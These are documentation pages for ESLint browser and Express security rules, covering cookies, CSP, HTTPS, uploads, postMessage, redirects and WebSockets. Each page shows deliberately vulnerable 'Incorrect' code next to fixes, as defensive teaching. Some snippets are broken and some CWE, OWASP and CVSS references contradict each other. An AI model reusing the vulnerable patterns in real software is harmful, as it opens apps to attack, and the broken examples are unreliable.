[#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/require-blob-url-revocation": [ "error", { "allowInTests": true } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### URL Stored Globally [#url-stored-globally] **Why**: Global scope tracking not performed. ```typescript // ❌ NOT DETECTED - Global storage window.blobUrl = URL.createObjectURL(blob); // Revocation may happen elsewhere ``` **Mitigation**: Track blob URLs explicitly. Use cleanup utilities. ### Revocation in Different File [#revocation-in-different-file] **Why**: Cross-file analysis not performed. ```typescript // ❌ NOT DETECTED - Create in one file, revoke in another export const url = URL.createObjectURL(blob); // blobManager.js: revokeAll() ``` **Mitigation**: Keep creation and revocation in same scope. ### Framework Lifecycle [#framework-lifecycle] **Why**: Framework cleanup hooks not recognized. ```typescript // ❌ NOT DETECTED - Angular OnDestroy ngOnDestroy() { URL.revokeObjectURL(this.url); } ``` **Mitigation**: Framework-specific linting. Code review. ## 📚 Related Resources [#-related-resources] * [MDN: URL.createObjectURL()](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL) * [MDN: URL.revokeObjectURL()](https://developer.mozilla.org/en-US/docs/Web/API/URL/revokeObjectURL) # require-cookie-secure-attrs > Require Cookie Secure Attrs ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ------------------------------------------------------------------------------------------------------------------------ | | **CWE** | [CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html) | | **OWASP** | A05:2021 - Security Misconfiguration | | **CVSS** | 6.5 (Medium) | | **Severity** | MEDIUM | ## 📋 Description [#-description] Cookies without `Secure` can be transmitted over HTTP (man-in-the-middle attacks). Cookies without `SameSite` are vulnerable to CSRF attacks. ## ❌ Incorrect [#-incorrect] ```javascript // Missing both attributes document.cookie = 'name=value'; // Missing SameSite document.cookie = 'name=value; Secure'; // Missing Secure document.cookie = 'name=value; SameSite=Strict'; ``` ## ✅ Correct [#-correct] ```javascript // Both attributes present document.cookie = 'name=value; Secure; SameSite=Strict'; // Lax SameSite (allows top-level GET) document.cookie = 'name=value; Secure; SameSite=Lax'; // Server-side (preferred) res.cookie('name', 'value', { secure: true, sameSite: 'strict', }); ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/require-cookie-secure-attrs": [ "error", { "allowInTests": true } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Cookie String from Variable [#cookie-string-from-variable] **Why**: Cookie values from variables not traced. ```typescript // ❌ NOT DETECTED - Cookie from variable const cookie = 'name=value'; // Missing attrs document.cookie = cookie; ``` **Mitigation**: Build cookie strings with attributes inline. ### Cookie Library Wrappers [#cookie-library-wrappers] **Why**: Library methods not recognized. ```typescript // ❌ NOT DETECTED - Library wrapper Cookies.set('name', 'value'); // May not set Secure ``` **Mitigation**: Review cookie library configurations. ### Conditional Attributes [#conditional-attributes] **Why**: Dynamic conditions not evaluated. ```typescript // ❌ NOT DETECTED - Conditional attributes const attrs = isDev ? ' : '; Secure'; document.cookie = 'name=value' + attrs; ``` **Mitigation**: Always use secure attributes in production. ## 📚 Related Resources [#-related-resources] * [MDN: Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) * [OWASP: SameSite Cookies](https://owasp.org/www-community/SameSite) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-614 OWASP:A02 CVSS:5.3 | Sensitive Cookie in HTTPS without Secure detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A02_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-614](https://cwe.mitre.org/data/definitions/614.html) [OWASP:A02](https://owasp.org/Top10/A02_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Sensitive Cookie in HTTPS without Secure detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A02_2021-Injection/) | # require-csp-headers ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | ---------------------------------------------- | | **Severity** | Medium (XSS Mitigation) | | **Auto-Fix** | ❌ No (requires policy definition) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Web servers serving HTML content | | **Suggestions** | ✅ Advice on using Helmet for standard policies | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** A missing or weak Content Security Policy (CSP) leaves an application vulnerable to Cross-Site Scripting (XSS), clickjacking, and data injection attacks. **Risk:** Without a CSP, the browser has no way of knowing if a script running on the page is legitimate or has been injected by an attacker. A successful XSS attack can lead to session theft, credential harvesting, and defacement. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-1021 OWASP:M8 | Missing CSP detected | MEDIUM [XSS Mitigation] Fix: Use helmet.contentSecurityPolicy() or set CSP header manually | https://cwe.mitre.org/data/definitions/1021.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :-------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html) [OWASP:M8](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Missing CSP detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [XSS Mitigation]` | | **Fix Instruction** | Actionable remediation | `Use helmet.contentSecurityPolicy()` | | **Technical Truth** | Official reference | [Improper Restriction](https://cwe.mitre.org/data/definitions/1021.html) | ## Rule Details [#rule-details] This rule flags Express response methods like `res.render()` or `res.send()` when they appear to be sending HTML content without a corresponding CSP header being configured. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["HTML Response"] --> B{"Has CSP Header?"} B -->|Yes| C["✅ Secure Policy Enforced"] B -->|No| D["🚨 XSS Vulnerability risk"] D --> E["💡 Suggest Helmet or Manual Header"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | ------------------------------- | ----------------------------------------------- | | 🕵️ **XSS** | Session theft and data leakage | Define strict `script-src` and `object-src` | | 🚀 **Exfiltration** | Stealing data to external sites | Use `connect-src` to restrict outgoing requests | | 🤝 **Trust** | Site used for phishing | Use `frame-ancestors` to prevent clickjacking | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Sending HTML directly without CSP headers app.get('/', (req, res) => { res.send('

Hello World

'); }); // Rendering a view without global CSP middleware app.get('/home', (req, res) => { res.render('index', { title: 'Home' }); }); ``` ### ✅ Correct [#-correct] ```javascript res.send({ data: 'json' }) ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Global Middleware [#global-middleware] **Why**: This rule is a heuristic and analyzes files individually. If you have global middleware like `helmet` in a central `app.js`, individual route handlers might still be flagged. **Mitigation**: Use `// eslint-disable-next-line` for route handlers in projects where CSP is enforced globally. ### Non-Standard Express Methods [#non-standard-express-methods] **Why**: Custom response wrappers or other frameworks might use different methods to send HTML. **Mitigation**: Standardize on a security-first framework and ensure it's applied consistently. ## References [#references] * [MDN - Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) * [CWE-1021: Improper Restriction of Rendered-UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html) * [Helmet.js - CSP](https://helmetjs.github.io/#content-security-policy) * [OWASP Content Security Policy Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html) # require-https-only > Enforces HTTPS for all external requests **Severity:** 🔴 CRITICAL\ **CWE:** [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\ **OWASP Mobile:** [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects HTTP (unencrypted) URLs in `fetch()` and `axios` requests. HTTP transmits data in plaintext, allowing man-in-the-middle (MITM) attacks where attackers can intercept, read, and modify data in transit. ### Why This Matters [#why-this-matters] Using HTTP instead of HTTPS exposes all transmitted data: * **Credentials theft**: Login credentials sent in plaintext * **Session hijacking**: Auth tokens intercepted by attackers * **Data tampering**: Responses modified to inject malicious code * **Compliance violations**: PCI-DSS requires TLS 1.2+ for payment data HTTPS is **mandatory** for: * Authentication and authorization * Any PII or sensitive data * API requests with auth tokens * Payment processing (PCI-DSS requirement) ## ❌ Incorrect [#-incorrect] ```typescript // HTTP fetch() requests fetch('http://api.example.com/users'); // ❌ Unencrypted // HTTP axios requests axios.get('http://api.example.com/data'); // ❌ Plaintext transmission // HTTP POST with credentials fetch('http://api.example.com/login', { method: 'POST', body: JSON.stringify({ username, password }), // ❌ Credentials in plaintext! }); // Mixed content (HTTPS page loading HTTP resources) fetch('http://cdn.example.com/script.js'); // ❌ Mixed content vulnerability ``` ## ✅ Correct [#-correct] ```typescript // HTTPS fetch() requests fetch('https://api.example.com/users'); // ✅ Encrypted with TLS // HTTPS axios requests axios.get('https://api.example.com/data'); // ✅ Secure transmission // HTTPS POST with credentials fetch('https://api.example.com/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }), // ✅ Encrypted }); // Environment-based URLs (with HTTPS enforcement) const API_URL = process.env.API_URL; // Must be HTTPS in production if (!API_URL.startsWith('https://')) { throw new Error('API_URL must use HTTPS'); } fetch(API_URL); // Localhost exception (development only) const isDev = process.env.NODE_ENV === 'development'; const url = isDev ? 'http://localhost:3000' : 'https://api.prod.com'; // ✅ Conditional ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### URLs from Variables or Environment [#urls-from-variables-or-environment] **Why**: We only detect literal HTTP URL strings. URLs from variables or `process.env` are not analyzed. ```typescript // ❌ NOT DETECTED - URL from variable const apiUrl = getApiUrl(); // Returns 'http://...' fetch(apiUrl); ``` **Mitigation**: Validate URLs at runtime. Use URL parsing libraries to enforce HTTPS. ```typescript // Runtime validation const url = new URL(apiUrl); if (url.protocol !== 'https:' && !isDevelopment) { throw new Error('Only HTTPS URLs allowed in production'); } ``` ### Template Literals with Expressions [#template-literals-with-expressions] **Why**: Template literals with variable interpolation cannot be statically analyzed. ```typescript // ❌ NOT DETECTED - Template literal const protocol = 'http'; // Insecure! fetch(`${protocol}://api.example.com/data`); ``` **Mitigation**: Use constant HTTPS URLs. Avoid dynamic protocol construction. ### Redirects and Location Headers [#redirects-and-location-headers] **Why**: Server-side redirects from HTTPS to HTTP are not detected at the client level. ```typescript // ❌ NOT DETECTED - Server redirects to HTTP fetch('https://api.example.com/redirect'); // Server returns HTTP redirect ``` **Mitigation**: Configure servers to never redirect HTTPS to HTTP. Use HSTS headers. ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. It flags all HTTP URLs in `fetch()` and `axios.get/post/put/delete/patch/head/options()` calls. ## 🔗 Related Rules [#-related-rules] * [`no-disabled-certificate-validation`](./no-disabled-certificate-validation.md) - Prevent SSL bypass * [`no-insecure-websocket`](./no-insecure-websocket.md) - Require WSS (secure WebSocket) ## 📚 References [#-references] * [CWE-319: Cleartext Transmission](https://cwe.mitre.org/data/definitions/319.html) * [OWASP Mobile M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) * [PCI-DSS Requirement 4.1: Use Strong Cryptography](https://www.pcisecuritystandards.org/) * [HSTS Specification](https://tools.ietf.org/html/rfc6797) # require-mime-type-validation ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | -------------------------------------- | | **Severity** | High (RCE Risk) | | **Auto-Fix** | ❌ No (requires configuration logic) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Node.js servers handling file uploads | | **Suggestions** | ✅ Advice on using fileFilter in Multer | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Unrestricted file upload occurs when an application allows users to upload files without strictly validating the file type or size. **Risk:** An attacker could upload a malicious script (e.g., `.php`, `.js`, `.py`) that could be executed on the server, leading to Remote Code Execution (RCE). They could also upload massive files to cause Denial of Service (DoS) through disk exhaustion. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-434 OWASP:M4 | Missing MIME Validation detected | HIGH [RCE,UnrestrictedUpload] Fix: Add fileFilter option to validate MIME types | https://cwe.mitre.org/data/definitions/434.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-434](https://cwe.mitre.org/data/definitions/434.html) [OWASP:M4](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Missing MIME Validation detected` | | **Severity & Compliance** | Impact assessment | `HIGH [RCE,UnrestrictedUpload]` | | **Fix Instruction** | Actionable remediation | `Add fileFilter option to validate MIME types` | | **Technical Truth** | Official reference | [Unrestricted Upload](https://cwe.mitre.org/data/definitions/434.html) | ## Rule Details [#rule-details] This rule specifically targets common Node.js file upload middleware like `multer`, ensuring that a `fileFilter` or strict size `limits` are configured. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Multer Configuration"] --> B{"Has fileFilter?"} B -->|Yes| C["✅ Secure Configuration"] B -->|No| D{"Has limits?"} D -->|Yes| E["🟡 Partial Validation (Size only)"] D -->|No| F["🚨 Unrestricted Upload Vulnerability"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ----------------- | -------------------------------- | --------------------------------------------------------------- | | 🚀 **RCE** | Server compromised completely | Strictly validate MIME types and magic bytes | | 💥 **DoS** | Disk space exhaustion | Implement strict file size limits | | 🕵️ **Detection** | Malicious payloads bypass checks | Use server-side validation, never rely on file extensions alone | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript multer().array('photos') ``` ### ✅ Correct [#-correct] ```javascript // Multer with a strict file filter for image types const upload = multer({ dest: 'uploads/', limits: { fileSize: 5 * 1024 * 1024, // limit to 5MB }, fileFilter: (req, file, cb) => { const allowedMimeTypes = ['image/jpeg', 'image/png', 'image/webp']; if (allowedMimeTypes.includes(file.mimetype)) { cb(null, true); } else { cb(new Error('Invalid file type'), false); } }, }); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Client-Side Only Validation [#client-side-only-validation] **Why**: This rule does not check for HTML `` attributes. Client-side validation is easily bypassed. **Mitigation**: Always implement server-side validation using the file's magic bytes or MIME type. ### Custom Upload Handlers [#custom-upload-handlers] **Why**: If you use a custom file upload handler (e.g., `formidable`, `busboy`), missing validation will not be detected. ```javascript // Custom busboy implementation - ❌ NOT DETECTED req.pipe(busboy); ``` **Mitigation**: Manually audit all entry points where files are received from users. ## References [#references] * [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) * [OWASP File Upload Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Security_Cheat_Sheet.html) * [Multer Documentation - fileFilter](https://github.com/expressjs/multer#filefilter) # require-postmessage-origin-check **CWE:** [CWE-494](https://cwe.mitre.org/data/definitions/494.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects postMessage event handlers without origin validation. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ⚠️ This rule ***errors*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ---------------------------------------------- | | **CWE Reference** | CWE-346 (Origin Validation Error) | | **Severity** | 🔴 High | | **Auto-Fix** | ✅ Yes (suggests origin check) | | **Category** | Security | | **Best For** | Apps using iframes, cross-window communication | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Accepting postMessage events without validating the origin allows any website to send messages to your application. **Risk:** Attackers can: * Inject malicious data/commands * Trigger unauthorized actions * Bypass authentication ## PostMessage Attack Flow [#postmessage-attack-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% sequenceDiagram participant Attacker Site participant Victim's Browser participant Target App (iframe) Attacker Site->>Victim's Browser: Embed target app in iframe Attacker Site->>Target App (iframe): postMessage({action: 'transfer', amount: 10000}) Target App (iframe)->>Target App (iframe): No origin check! Target App (iframe)->>Target App (iframe): Executes malicious action Note over Attacker Site,Target App (iframe): Attack succeeds because origin wasn't validated ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // No origin check - VULNERABLE window.addEventListener('message', (event) => { const { action, data } = event.data; processAction(action, data); // Anyone can trigger this! }); // Empty origin check - VULNERABLE window.addEventListener('message', (event) => { if (event.origin) { // This is always truthy! processAction(event.data); } }); ``` ### ✅ Correct [#-correct] ```javascript message ``` ## Options [#options] | Option | Type | Default | Description | | ---------------- | ---------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `false` | Skip this rule in `*.test.*` / `*.spec.*` files | | `trustedOrigins` | `string[]` | `[]` | Origins accepted without an explicit check | ```json { "rules": { "browser-security/require-postmessage-origin-check": "error" } } ``` ## Best Practices [#best-practices] ### 1. Use Allowlist Pattern [#1-use-allowlist-pattern] ```javascript const ALLOWED_ORIGINS = new Set([ 'https://parent.example.com', 'https://embed.example.com', ]); function handleMessage(event) { if (!ALLOWED_ORIGINS.has(event.origin)) { return; } // Process message } ``` ### 2. Validate Message Structure [#2-validate-message-structure] ```javascript window.addEventListener('message', (event) => { // 1. Check origin if (event.origin !== 'https://trusted.com') return; // 2. Validate message structure if (!event.data || typeof event.data.action !== 'string') { console.error('Invalid message structure'); return; } // 3. Whitelist allowed actions const ALLOWED_ACTIONS = ['resize', 'navigate', 'close']; if (!ALLOWED_ACTIONS.includes(event.data.action)) { console.error('Unknown action:', event.data.action); return; } processAction(event.data); }); ``` ## Related Rules [#related-rules] * [`no-innerhtml`](./no-innerhtml.md) - XSS prevention * [`no-sensitive-localstorage`](./no-sensitive-localstorage.md) - Storage security ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Handler in Separate Function [#handler-in-separate-function] **Why**: Origin check in called function not visible. ```typescript // ❌ NOT DETECTED - Check in handler window.addEventListener('message', handleMessage); // validates internally ``` **Mitigation**: Apply rule to handler implementations. ### Dynamic Event Registration [#dynamic-event-registration] **Why**: Events registered dynamically may not be detected. ```typescript // ❌ NOT DETECTED - Dynamic registration const eventType = 'message'; window.addEventListener(eventType, handler); ``` **Mitigation**: Use static event registration. ### Weak Origin Checks [#weak-origin-checks] **Why**: Check quality not assessed. ```typescript // ❌ NOT DETECTED - Weak check if (event.origin.includes('trusted')) { // Insecure! processAction(event.data); } ``` **Mitigation**: Use exact origin comparison. ### Library Abstractions [#library-abstractions] **Why**: Third-party message handlers not analyzed. ```typescript // ❌ NOT DETECTED - Library abstraction messageLib.onMessage((data) => process(data)); // No origin check visible ``` **Mitigation**: Review library security. Configure message handlers. ## Resources [#resources] * [CWE-346: Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html) * [MDN: Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns) * [OWASP HTML5 Security](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#postmessage) # require-url-validation ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | ---------------------------------------- | | **Severity** | High (Phishing Risk) | | **Auto-Fix** | ❌ No (requires allowlist logic) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Frontend apps handling dynamic redirects | | **Suggestions** | ✅ Advice on using hostname allowlists | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** An Open Redirect vulnerability occurs when an application accepts a user-controlled input that specifies a link to an external site and uses that link in a Redirection without validation. **Risk:** This can be exploited to facilitate phishing attacks. Since the initial URL appears to be from a trusted domain, users are more likely to click it, only to be redirected to a malicious site that looks identical to the original. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-601 OWASP:M4 | URL Validation Required detected | HIGH [OpenRedirect,Phishing] Fix: Validate URLs before using them for navigation | https://cwe.mitre.org/data/definitions/601.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-601](https://cwe.mitre.org/data/definitions/601.html) [OWASP:M4](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `URL Validation Required detected` | | **Severity & Compliance** | Impact assessment | `HIGH [OpenRedirect,Phishing]` | | **Fix Instruction** | Actionable remediation | `Validate URLs before using them for navigation` | | **Technical Truth** | Official reference | [Open Redirect](https://cwe.mitre.org/data/definitions/601.html) | ## Rule Details [#rule-details] This rule flags direct assignments to `window.location` or `location.href`, and calls to `window.open()` where the URL is a variable, suggesting it might contain unvalidated user input. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Navigation Sink"] --> B{"URL is Literal?"} B -->|Yes| C["✅ Safe Navigation"] B -->|No| D{"Has allowlist check?"} D -->|Yes| E["✅ Secure Redirect"] D -->|No| F["🚨 Potential Open Redirect"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ----------------- | ------------------------------- | -------------------------------------------------- | | 🎣 **Phishing** | Users tricked into giving creds | Use strictly enforced allowlists for domains | | 🕵️ **Detection** | Bypasses basic security filters | Check protocol (https only) and hostname | | 🤝 **Trust** | Brand integrity damage | Use relative paths for redirects whenever possible | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct assignment from a URL parameter const params = new URLSearchParams(window.location.search); const redirectUrl = params.get('next'); window.location.href = redirectUrl; // ❌ HIGH RISK // Using window.open with an unvalidated variable function navigate(target) { window.open(target, '_blank'); // ❌ HIGH RISK } ``` ### ✅ Correct [#-correct] ```javascript // Validating against a known allowlist const ALLOWED_DOMAINS = ['example.com', 'docs.example.com']; function safeNavigate(url) { const target = new URL(url, window.location.origin); if (ALLOWED_DOMAINS.includes(target.hostname)) { window.location.href = target.href; } } // Redirecting to relative paths only function safeRelativeRedirect(path) { if (path.startsWith('/')) { window.location.pathname = path; } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### String Concatenation [#string-concatenation] **Why**: If the URL is only partially user-controlled, it might not be flagged if the rule only looks for direct variable assignments. ```javascript window.location.href = 'https://example.com/login?next=' + userInput; // ❌ NOT DETECTED ``` **Mitigation**: Always sanitize and validate any user-provided string. ### Object Properties [#object-properties] **Why**: If the URL is stored in an object property, the rule might miss it. ```javascript window.location.href = options.redirectUrl; // ❌ NOT DETECTED ``` **Mitigation**: Enforce strict validation at the source of the configuration. ## References [#references] * [CWE-601: URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html) * [OWASP Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) * [MDN - Window.location](https://developer.mozilla.org/en-US/docs/Web/API/Window/location) # require-websocket-wss > 🔒 Require secure WebSocket connections (wss\://) instead of unencrypted (ws\://) **CWE:** [CWE-319](https://cwe.mitre.org/data/definitions/319.html)\ **OWASP Mobile:** [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule enforces the use of `wss://` (WebSocket Secure) protocol instead of `ws://` (unencrypted WebSocket). Unencrypted WebSocket connections are vulnerable to Man-in-the-Middle (MITM) attacks and eavesdropping. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid sequenceDiagram participant C as Client participant A as Attacker (MITM) participant S as Server C->>A: ws:// connection (unencrypted) A->>S: Forwards connection S->>A: Sends sensitive data A->>A: Reads/modifies data A->>C: Sends (modified) data Note over A: Attacker can read
and modify all traffic! ``` When you use `ws://`: 1. **All data is transmitted in plaintext** - anyone on the network can read it 2. **No authentication of the server** - you might connect to an attacker 3. **Data can be modified** - MITM can inject malicious content ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Unencrypted WebSocket - vulnerable to MITM const ws = new WebSocket('ws://api.example.com/socket'); // With port const ws = new WebSocket('ws://chat.example.com:8080/ws'); // Template literal const ws = new WebSocket(`ws://api.example.com/user/${userId}`); ``` ### ✅ Correct [#-correct] ```javascript // Secure WebSocket const ws = new WebSocket('wss://api.example.com/socket'); // With port const ws = new WebSocket('wss://chat.example.com:8080/ws'); // Template literal with wss const ws = new WebSocket(`wss://api.example.com/user/${userId}`); // Localhost is allowed by default (for development) const ws = new WebSocket('ws://localhost:3000'); const ws = new WebSocket('ws://127.0.0.1:8080'); ``` ## Options [#options] | Option | Type | Default | Description | | ---------------- | --------- | ------- | ------------------------------------------------------ | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | | `allowLocalhost` | `boolean` | `true` | Allow ws\:// for localhost/127.0.0.1 (for development) | ```json { "browser-security/require-websocket-wss": [ "error", { "allowInTests": true, "allowLocalhost": true } ] } ``` | Option | Type | Default | Description | | ---------------- | --------- | ------- | ------------------------------------------------------ | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | | `allowLocalhost` | `boolean` | `true` | Allow ws\:// for localhost/127.0.0.1 (for development) | ## Auto-Fix [#auto-fix] This rule provides an **auto-fix** that replaces `ws://` with `wss://`: ```javascript // Before (auto-fix available) const ws = new WebSocket('ws://example.com'); // After auto-fix const ws = new WebSocket('wss://example.com'); ``` ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * You're running a WebSocket server that explicitly requires unencrypted connections (not recommended for production) * You're in a controlled internal network with no untrusted parties However, **always use `wss://` in production**. The performance overhead of TLS is minimal compared to the security benefits. ## Related [#related] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [MDN: WebSocket API](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) * [CVE-2024-37890: WebSocket DoS Vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2024-37890) ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### URL from Variable [#url-from-variable] **Why**: URLs from variables not analyzed. ```typescript // ❌ NOT DETECTED - URL from variable const url = 'ws://insecure.com'; const ws = new WebSocket(url); ``` **Mitigation**: Validate URLs before WebSocket creation. ### Dynamic URL Construction [#dynamic-url-construction] **Why**: Computed URLs not traced. ```typescript // ❌ NOT DETECTED - Dynamic URL const ws = new WebSocket(getWebSocketUrl()); // May return ws:// ``` **Mitigation**: Ensure URL builders always return wss\://. ### Configuration-Based URLs [#configuration-based-urls] **Why**: Config values not visible. ```typescript // ❌ NOT DETECTED - From config const ws = new WebSocket(config.wsEndpoint); ``` **Mitigation**: Validate config URLs at startup. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | --------------------------------- | | OWASP Top 10 2021 | A02:2021 - Cryptographic Failures | | CWE | CWE-319 | | CVSS | 7.5 (High) | # Rules Comprehensive coverage of Express.js security including CORS, CSRF, cookies, and rate limiting. ## All Rules [#all-rules] *** ## Rule Categories [#rule-categories] ### CORS & Headers [#cors--headers] Rules enforcing proper CORS configuration and security headers via Helmet. ### Cookie Security [#cookie-security] Rules detecting insecure cookie options and improper session handling. ### Rate Limiting & CSRF [#rate-limiting--csrf] Rules requiring rate limiting and CSRF protection middleware. ### API Security [#api-security] Rules preventing exposed debug endpoints and GraphQL introspection in production. # no-client-controlled-authorization > Disallow authorization decisions taken on request-supplied role, permission or identity values **Severity:** 🔴 High (ships as `warn` — see below) **CWE:** [CWE-863](https://cwe.mitre.org/data/definitions/863.html) ## Rule Details [#rule-details] ```js if (req.body.role === 'admin') { return deleteEverything(); } ``` There *is* an authorization check here. It reads the caller's claim about who they are and believes it. That is the difference between CWE-862 (missing authorization — no check) and 